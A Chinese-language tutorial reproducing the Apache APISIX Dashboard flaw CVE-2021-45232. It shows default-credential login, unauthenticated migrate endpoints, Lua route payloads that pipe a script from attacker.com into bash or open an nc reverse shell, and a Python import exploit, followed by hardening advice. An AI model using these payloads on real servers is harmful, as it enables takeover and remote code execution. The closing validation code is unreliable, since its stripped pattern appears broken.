别再只用默认密码了!手把手教你复现Apache APISIX Dashboard那个CVE-2021-45232漏洞
从零复现APISIX Dashboard漏洞实战CVE-2021-45232攻防演练当默认密码遇上未授权接口会擦出怎样的火花2021年底曝光的CVE-2021-45232漏洞给出了令人警醒的答案——攻击者无需认证即可接管APISIX Dashboard甚至实现远程代码执行。本文将带您深入漏洞机理在隔离测试环境中完整复现攻击链同时提供可落地的安全加固方案。1. 漏洞背景与测试环境搭建Apache APISIX作为云原生API网关的明星项目其Dashboard组件为管理员提供了可视化配置界面。但2.10.1之前的版本存在两处致命缺陷默认凭证风险初始安装保留admin/admin的弱密码鉴权绕过漏洞部分API接口未正确实施身份验证1.1 快速搭建漏洞环境使用Docker Compose可快速部署含漏洞的测试环境git clone https://github.com/apache/apisix-docker cd apisix-docker/example sed -i s/image: apache\/apisix-dashboard:.*/image: apache\/apisix-dashboard:2.7/ docker-compose.yml docker-compose up -d关键组件版本对照表组件漏洞版本安全版本APISIX Dashboard≤2.7≥2.10.1Manager API所有旧版修复版本提示实验环境建议使用隔离的虚拟机或云服务器避免影响生产网络2. 弱密码导致的RCE攻击链2.1 初始访问控制台访问http://localhost:9000会看到登录页面使用默认凭证即可进入用户名: admin 密码: admin典型风险场景许多管理员安装后未及时修改默认密码使得攻击者可以长驱直入。2.2 构造恶意路由实现RCE在Dashboard中创建路由时APISIX允许通过Lua脚本实现高级逻辑这也成为攻击切入点进入Routes菜单点击创建任意填写路由名称和路径如/hackpath在Advanced Options中添加脚本os.execute(curl http://attacker.com/malware.sh | bash)使用Burp Suite拦截提交请求修改脚本内容为任意命令{ uri: /hackpath, script: os.execute(id /tmp/exploit) }访问该路由触发命令执行curl http://localhost:9080/hackpath3. 更危险的未授权RCE利用当管理员修改了默认密码攻击者仍可通过未授权接口实现入侵3.1 发现未授权端点两个关键接口存在鉴权缺陷GET /apisix/admin/migrate/export POST /apisix/admin/migrate/import使用curl直接访问导出接口curl -X GET http://localhost:9000/apisix/admin/migrate/export将返回当前所有路由配置的JSON数据包含敏感信息。3.2 构造恶意导入包从导出数据中提取配置模板插入恶意脚本字段{ Routes: [{ uri: /backdoor, script: os.execute(nc -e /bin/sh attacker-ip 4444) }] }使用Go脚本计算合法的CRC32校验和完整代码见附录通过Python上传恶意配置import requests files {file: open(malicious-config, rb)} requests.post(http://localhost:9000/apisix/admin/migrate/import, data{mode: overwrite}, filesfiles)4. 防御措施与安全实践4.1 紧急修复方案措施操作命令/步骤生效条件升级版本docker pull apache/apisix-dashboard:2.10.1需重启服务修改密码在conf/conf.yaml中设置authentication.secret立即生效禁用接口在Nginx配置中限制/apisix/admin访问需重载配置4.2 深度防御策略网络层控制使用安全组限制Dashboard的管理端口(9000)访问为APISIX组件部署独立的VPC运行时防护# 监控可疑文件创建 auditctl -w /tmp/ -p wa -k apisix_tamper配置加固检查清单禁用未使用的插件开启审计日志定期轮换API密钥实施IP白名单访问控制5. 漏洞原理深度分析该漏洞本质是鉴权框架混用导致的安全边界失效架构缺陷Dashboard同时使用Gin和Droplet框架但鉴权中间件仅作用于Droplet路由配置错误Migrate接口本应是内部管理功能却暴露给了普通API路由信任过度导入操作未对配置内容做安全过滤在测试环境中复现漏洞后建议进一步研究APISIX的插件机制。例如以下代码展示了如何安全验证路由配置local _M { schema { type object, properties { script { type string, pattern ^[%w%s~!#$%%^*()_%-{}\:;%[%],./?]$, maxLength 1024 } } } } function _M.check_schema(conf) return core.schema.check(self.schema, conf) end通过模式匹配限制可执行字符能有效防御大部分注入攻击。